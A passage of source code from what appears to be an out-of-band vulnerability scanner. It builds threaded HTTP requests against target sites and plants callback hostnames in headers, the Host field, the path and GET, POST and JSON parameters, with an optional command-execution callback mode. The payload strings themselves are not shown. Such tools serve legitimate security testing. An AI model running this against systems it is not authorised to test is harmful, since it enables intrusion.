Gecko/20100101 Firefox/63.0", 65 | "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0", 66 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931", 67 | "Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393", 68 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200", 69 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586", 70 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 71 | ] 72 | 73 | return random.choice(ua) 74 | -------------------------------------------------------------------------------- /inc/HttpParameter.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | import json 20 | 21 | 22 | class HttpParameter: 23 | 24 | def __init__(self, config, oldquery, callback): 25 | 26 | self.config = config 27 | self.oldquery = oldquery 28 | self.params = [] 29 | self.finale_query_parts = [] 30 | self.__extract_params_from_query() 31 | self.__make_combinations(callback) 32 | 33 | def combine_for_get(self): 34 | 35 | query = [] 36 | 37 | for data in self.finale_query_parts: 38 | query.append("{}={}".format(data["param"], data["callback"])) 39 | 40 | return "&".join(query) 41 | 42 | def combine_for_post(self): 43 | 44 | return self.combine_for_get() 45 | 46 | def combine_as_json(self): 47 | 48 | jsonA = {} 49 | 50 | for data in self.finale_query_parts: 51 | jsonA[data["param"]] = data["callback"] 52 | 53 | return json.dumps(jsonA, ensure_ascii=True) 54 | 55 | def get_data_for_get_in_chunks(self): 56 | start = 0 57 | query = [] 58 | chunked = [] 59 | 60 | for data in self.finale_query_parts: 61 | 62 | start = start +1 63 | 64 | query.append("{}={}".format(data["param"], data["callback"])) 65 | 66 | if start == self.config.chunk_size_get: 67 | chunked.append("&".join(query)) 68 | query = [] 69 | start = 0 70 | 71 | if len(query)>0: 72 | chunked.append("&".join(query)) 73 | 74 | return chunked 75 | 76 | def __make_combinations(self, callback): 77 | 78 | for param in self.params: 79 | self.finale_query_parts.append({ 80 | 'param': param, 81 | 'callback': callback 82 | }) 83 | 84 | def __extract_params_from_query(self): 85 | 86 | old_params_exploded = [] 87 | 88 | if self.oldquery.strip() != "": 89 | old_params_exploded = self.oldquery.split("&") 90 | 91 | if len(old_params_exploded) > 0: 92 | 93 | for param_val in old_params_exploded: 94 | param_name, param_val = param_val.split("=") 95 | 96 | self.params.append(param_name) 97 | 98 | additional_params = self.config.parameters.splitlines() 99 | 100 | for add_param in additional_params: 101 | self.params.append(add_param) 102 | -------------------------------------------------------------------------------- /inc/Tests.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Damian Schwyrz 18 | 19 | from urllib.parse import urlparse 20 | 21 | from inc.Callback import * 22 | from inc.Headers import * 23 | from inc.HttpParameter import * 24 | from inc.Color import * 25 | from random import shuffle 26 | 27 | 28 | class Tests: 29 | 30 | def __init__(self, config): 31 | 32 | self.config = config 33 | self.tests = [] 34 | self.path_tested_hosts = [] 35 | self.host_tested_hosts = [] 36 | 37 | self.__create_tests() 38 | 39 | def __create_tests(self): 40 | 41 | for attacked_site in self.config.urls: 42 | 43 | url = self.__make_url(attacked_site) 44 | path = self.__get_path(url) 45 | query = self.__get_query(url) 46 | hostname = self.__get_host(url) 47 | port = self.__get_port(url) 48 | 49 | if self.config.insertion_point_use_path and hostname not in self.path_tested_hosts: 50 | self.__create_path_testcase(url, hostname, port) 51 | 52 | self.path_tested_hosts.append(hostname) 53 | 54 | if self.config.insertion_point_use_host and hostname not in self.host_tested_hosts: 55 | self.__create_host_testcase(url, hostname, port, path, query) 56 | 57 | self.host_tested_hosts.append(hostname) 58 | 59 | if self.config.insertion_point_use_http_headers: 60 | self.__create_http_header_testcases(url, hostname, port, path, query) 61 | 62 | if self.config.insertion_point_use_getparams: 63 | self.__create_getparams_testcase(url, hostname, port, path, query) 64 | 65 | if self.config.insertion_point_use_postparams: 66 | self.__create_postparams_testcase(url, hostname, port, path, query) 67 | 68 | if self.config.insertion_point_use_postparams_as_json: 69 | self.__create_postparams_json_testcase(url, hostname, port, path, query) 70 | 71 | if self.config.shuffleTests: 72 | shuffle(self.tests) 73 | 74 | print("{} Request count:\t\t{}".format( 75 | Color.orange("[ i ]"), 76 | len(self.tests) 77 | )) 78 | print("") 79 | 80 | def __create_postparams_json_testcase(self, url, hostname, port, path, query): 81 | 82 | real_path = "{}?{}".format(path, query) 83 | 84 | if query == "": 85 | real_path = "{}".format(path) 86 | 87 | callback = Callback(url, self.config, "dns", "default") 88 | callback.set_hostname(hostname) 89 | callback.set_testname("jpdd") 90 | callback.make() 91 | 92 | headers = Headers(self.config) 93 | headers.set("Host", hostname) 94 | headers.add_static_headers() 95 | headers.set("Cookie", self.config.cookies) 96 | headers.set("Referer", "{}".format(url)) 97 | headers.set("User-Agent", headers.get_random_user_agent()) 98 | headers.set("Content-Type", "application/json") 99 | 100 | params = HttpParameter(self.config, query, callback.result) 101 | 102 | self.tests.append({ 103 | 'url': url, 104 | 'port': port, 105 | 'method': 'POST', 106 | 'host': hostname, 107 | 'path': real_path, 108 | 'headers': headers.make(), 109 | 'body': params.combine_as_json(), 110 | 'test_name': "json_post_dns_default" 111 | }) 112 | 113 | callback = Callback(url, self.config, "http", "default") 114 | callback.set_hostname(hostname) 115 | callback.set_testname("jphd") 116 | callback.make() 117 | 118 | headers = Headers(self.config) 119 | headers.set("Host", hostname) 120 | headers.add_static_headers() 121 | headers.set("Cookie", self.config.cookies) 122 | headers.set("Referer", "{}".format(url)) 123 | headers.set("User-Agent", headers.get_random_user_agent()) 124 | headers.set("Content-Type", "application/json") 125 | 126 | params = HttpParameter(self.config, query, callback.result) 127 | 128 | self.tests.append({ 129 | 'url': url, 130 | 'port': port, 131 | 'method': 'POST', 132 | 'host': hostname, 133 | 'path': real_path, 134 | 'headers': headers.make(), 135 | 'body': params.combine_as_json(), 136 | 'test_name': "json_post_http_default" 137 | }) 138 | 139 | def __create_postparams_testcase(self, url, hostname, port, path, query): 140 | 141 | callback = Callback(url, self.config, "dns", "default") 142 | callback.set_hostname(hostname) 143 | callback.set_testname("pdd") 144 | callback.make() 145 | 146 | headers = Headers(self.config) 147 | headers.set("Host", hostname) 148 | headers.add_static_headers() 149 | headers.set("Cookie", self.config.cookies) 150 | headers.set("Referer", "{}".format(url)) 151 | headers.set("User-Agent", headers.get_random_user_agent()) 152 | headers.set("Content-Type", "application/x-www-form-urlencoded") 153 | 154 | params = HttpParameter(self.config, query, callback.result) 155 | 156 | self.tests.append({ 157 | 'url': url, 158 | 'port': port, 159 | 'method': 'POST', 160 | 'host': hostname, 161 | 'path': "{}?{}".format(path, query), 162 | 'headers': headers.make(), 163 | 'body': params.combine_for_post(), 164 | 'test_name': "post_dns_default" 165 | }) 166 | 167 | callback = Callback(url, self.config, "http", "default") 168 | callback.set_hostname(hostname) 169 | callback.set_testname("pohd") 170 | callback.make() 171 | 172 | headers = Headers(self.config) 173 | headers.set("Host", hostname) 174 | headers.add_static_headers() 175 | headers.set("Cookie", self.config.cookies) 176 | headers.set("Referer", "{}".format(url)) 177 | headers.set("User-Agent", headers.get_random_user_agent()) 178 | headers.set("Content-Type", "application/x-www-form-urlencoded") 179 | 180 | params = HttpParameter(self.config, query, callback.result) 181 | 182 | self.tests.append({ 183 | 'url': url, 184 | 'port': port, 185 | 'method': 'POST', 186 | 'host': hostname, 187 | 'path': "{}?{}".format(path, query), 188 | 'headers': headers.make(), 189 | 'body': params.combine_for_post(), 190 | 'test_name': "post_http_default" 191 | }) 192 | 193 | def __create_getparams_testcase(self, url, hostname, port, path, query): 194 | 195 | callback = Callback(url, self.config, "dns", "default") 196 | callback.set_hostname(hostname) 197 | callback.set_testname("gdd") 198 | callback.make() 199 | 200 | headers = Headers(self.config) 201 | headers.set("Host", hostname) 202 | headers.add_static_headers() 203 | headers.set("Cookie", self.config.cookies) 204 | headers.set("Referer", "{}".format(url)) 205 | headers.set("User-Agent", headers.get_random_user_agent()) 206 | headers.set("Content-Type", "text/html") 207 | 208 | params = HttpParameter(self.config, query, callback.result) 209 | 210 | for paramset in params.get_data_for_get_in_chunks(): 211 | self.tests.append({ 212 | 'url': url, 213 | 'port': port, 214 | 'method': 'GET', 215 | 'host': hostname, 216 | 'path': "{}?{}".format(path, paramset), 217 | 'headers': headers.make(), 218 | 'body': '', 219 | 'test_name': "get_dns_default" 220 | }) 221 | 222 | 223 | callback = Callback(url, self.config, "http", "default") 224 | callback.set_hostname(hostname) 225 | callback.set_testname("ghd") 226 | callback.make() 227 | 228 | headers = Headers(self.config) 229 | headers.set("Host", hostname) 230 | headers.add_static_headers() 231 | headers.set("Cookie", self.config.cookies) 232 | headers.set("Referer", "{}".format(url)) 233 | headers.set("User-Agent", headers.get_random_user_agent()) 234 | headers.set("Content-Type", "text/html") 235 | 236 | params = HttpParameter(self.config, query, callback.result) 237 | 238 | for paramset in params.get_data_for_get_in_chunks(): 239 | self.tests.append({ 240 | 'url': url, 241 | 'port': port, 242 | 'method': 'GET', 243 | 'host': hostname, 244 | 'path': "{}?{}".format(path, paramset), 245 | 'headers': headers.make(), 246 | 'body': '', 247 | 'test_name': "get_http_default" 248 | }) 249 | 250 | def __create_http_header_testcases(self, url, hostname, port, path, query): 251 | 252 | callback = Callback(url, self.config, "dns", "default") 253 | callback.set_hostname(hostname) 254 | callback.set_testname("hedd") 255 | callback.make() 256 | 257 | headers = Headers(self.config) 258 | headers.set("Host", hostname) 259 | headers.add_static_headers() 260 | headers.set("Cookie", self.config.cookies) 261 | headers.set("Referer", "{}{}?{}".format(url, path, query)) 262 | headers.set("User-Agent", headers.get_random_user_agent()) 263 | headers.set("Content-Type", "text/html") 264 | headers.add_user_defined_headers(callback.result) 265 | 266 | self.tests.append({ 267 | 'url': url, 268 | 'port': port, 269 | 'method': self.config.http_method, 270 | 'host': hostname, 271 | 'path': "{}?{}".format(path, query), 272 | 'headers': headers.make(), 273 | 'body': '', 274 | 'test_name': "headers_dns_default" 275 | }) 276 | 277 | callback = Callback(url, self.config, "http", "default") 278 | callback.set_hostname(hostname) 279 | callback.set_testname("hthd") 280 | callback.make() 281 | 282 | headers = Headers(self.config) 283 | headers.set("Host", hostname) 284 | headers.add_static_headers() 285 | headers.set("Cookie", self.config.cookies) 286 | headers.set("Referer", "{}{}?{}".format(url, path, query)) 287 | headers.set("User-Agent", headers.get_random_user_agent()) 288 | headers.set("Content-Type", "text/html") 289 | headers.add_user_defined_headers(callback.result) 290 | 291 | self.tests.append({ 292 | 'url': url, 293 | 'port': port, 294 | 'method': self.config.http_method, 295 | 'host': hostname, 296 | 'path': "{}?{}".format(path, query), 297 | 'headers': headers.make(), 298 | 'body': '', 299 | 'test_name': "headers_http_default" 300 | }) 301 | 302 | if self.config.attack_use_exec_payload: 303 | callback = Callback(url, self.config, "dns", "exec") 304 | callback.set_hostname(hostname) 305 | callback.set_testname("hede") 306 | callback.make() 307 | 308 | headers = Headers(self.config) 309 | headers.set("Host", hostname) 310 | headers.add_static_headers() 311 | headers.set("Cookie", self.config.cookies) 312 | headers.set("Referer", "{}{}?{}".format(url, path, query)) 313 | headers.set("User-Agent", headers.get_random_user_agent()) 314 | headers.set("Content-Type", "text/html") 315 | headers.add_user_defined_headers(callback.result) 316 | 317 | self.tests.append({ 318 | 'url': url, 319 | 'port': port, 320 | 'method': self.config.http_method, 321 | 'host': hostname, 322 | 'path': "{}?{}".format(path, query), 323 | 'headers': headers.make(), 324 | 'body': '', 325 | 'test_name': "headers_dns_exec" 326 | }) 327 | 328 | def __create_host_testcase(self, url, hostname, port, path, query): 329 | 330 | callback = Callback(url, self.config, "dns", "default") 331 | callback.set_hostname(hostname) 332 | callback.set_testname("hdd") 333 | callback.make() 334 | 335 | headers = Headers(self.config) 336 | headers.set("Host", callback.result) 337 | headers.add_static_headers() 338 | headers.set("Cookie", self.config.cookies) 339 | headers.set("Referer", "{}{}?{}".format(url, path, query)) 340 | headers.set("User-Agent", headers.get_random_user_agent()) 341 | headers.set("Content-Type", "text/html") 342 | 343 | self.tests.append({ 344 | 'url': url, 345 | 'port': port, 346 | 'method': self.config.http_method, 347 | 'host': hostname, 348 | 'path': "{}?{}".format(path, query), 349 | 'headers': headers.make(), 350 | 'body': '', 351 | 'test_name': "host_dns_default" 352 | }) 353 | 354 | if self.config.attack_use_exec_payload: 355 | callback = Callback(url, self.config, "dns", "exec") 356 | callback.set_hostname(hostname) 357 | callback.set_testname("hde") 358 | callback.make() 359 | 360 | headers = Headers(self.config) 361 | headers.set("Host", callback.result) 362 | headers.add_static_headers() 363 | headers.set("Cookie", self.config.cookies) 364 | headers.set("Referer", "{}{}?{}".format(url, path, query)) 365 | headers.set("User-Agent", headers.get_random_user_agent()) 366 | headers.set("Content-Type", "text/html") 367 | headers.set("Host", callback.result) 368 | 369 | self.tests.append({ 370 | 'url': url, 371 | 'port': port, 372 | 'method': self.config.http_method, 373 | 'host': hostname, 374 | 'path': "{}?{}".format(path, query), 375 | 'headers': headers.make(), 376 | 'body': '', 377 | 'test_name': "host_dns_exec" 378 | }) 379 | 380 | def __create_path_testcase(self, url, hostname, port): 381 | 382 | callback = Callback(url, self.config, "http", "default") 383 | callback.set_hostname(hostname) 384 | callback.set_testname("pahd") 385 | callback.make() 386 | 387 | headers = Headers(self.config) 388 | 389 | headers.set("Host", callback.result) 390 | headers.add_static_headers() 391 | headers.set("Cookie", self.config.cookies) 392 | headers.set("Referer", "{}".format(url)) 393 | headers.set("User-Agent", headers.get_random_user_agent()) 394 | headers.set("Content-Type", "text/html") 395 | headers.set("Host", hostname) 396 | 397 | self.tests.append({ 398 | 'url': url, 399 | 'port': port, 400 | 'method': self.config.http_method, 401 | 'host': hostname, 402 | 'path': callback.result, 403 | 'headers': headers.make(), 404 | 'body': '', 405 | 'test_name': "path_http_default" 406 | }) 407 | 408 | @staticmethod 409 | def __make_url(attacked_site): 410 | 411 | url = attacked_site 412 | 413 | if not attacked_site.startswith("http"): 414 | url = "http://{}/".format(attacked_site) 415 | 416 | return url 417 | 418 | @staticmethod 419 | def __get_path(url): 420 | 421 | parser = urlparse(url) 422 | 423 | path = parser.path 424 | 425 | if path.startswith("http"): 426 | return path 427 | 428 | if not path.startswith("/"): 429 | return "/" + path 430 | 431 | return parser.path 432 | 433 | @staticmethod 434 | def __get_query(url): 435 | 436 | parser = urlparse(url) 437 | 438 | return parser.query 439 | 440 | @staticmethod 441 | def __get_host(url): 442 | 443 | parser = urlparse(url) 444 | 445 | return parser.hostname 446 | 447 | @staticmethod 448 | def __get_port(url): 449 | 450 | parser = urlparse(url) 451 | 452 | return parser.port 453 | -------------------------------------------------------------------------------- /inc/Worker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf8 3 | 4 | import threading 5 | import http.client 6 | from inc.Color import * 7 | from inc.Connection import Connection as OwnConnection 8 | stopSet = True 9 | 10 | 11 | class Worker(threading.Thread): 12 | def __init__(self, config, queue, tid): 13 | threading.Thread.__init__(self) 14 | self.queue = queue 15 | self.tid = tid 16 | self.config = config 17 | 18 | def run(self): 19 | global stopSet 20 | 21 | while stopSet: 22 | 23 | try: 24 | data = self.queue.get(timeout=1) 25 | 26 | 27 | except Exception as e: 28 | stopSet = False 29 | break 30 | 31 | try: 32 | 33 | conn = OwnConnection(self.config, data) 34 | conn.connect() 35 | response = conn.response 36 | 37 | state = self.__make_color_state(response) 38 | 39 | print("{} [Proc: {}] {} [{}] [{}]".format( 40 | state, 41 | self.tid, 42 | data["url"], 43 | response.status, 44 | data["test_name"] 45 | )) 46 | 47 | except Exception as e: 48 | print("{} [Proc: {}] {} [{}] [{}]".format( 49 | Color.danger("[ x ]"), 50 | self.tid, 51 | data["url"], 52 | data["test_name"], 53 | e 54 | )) 55 | 56 | self.queue.task_done() 57 | 58 | @staticmethod 59 | def __make_color_state(response): 60 | if response.status == 200: 61 | state = Color.green("[ R ]") 62 | elif 200 < response.status <= 500: 63 | state = Color.orange("[ R ]") 64 | else: 65 | state = Color.red("[ R ]") 66 | return state 67 | -------------------------------------------------------------------------------- /inc/__init__.py: -------------------------------------------------------------------------------- 1 | pass --------------------------------------------------------------------------------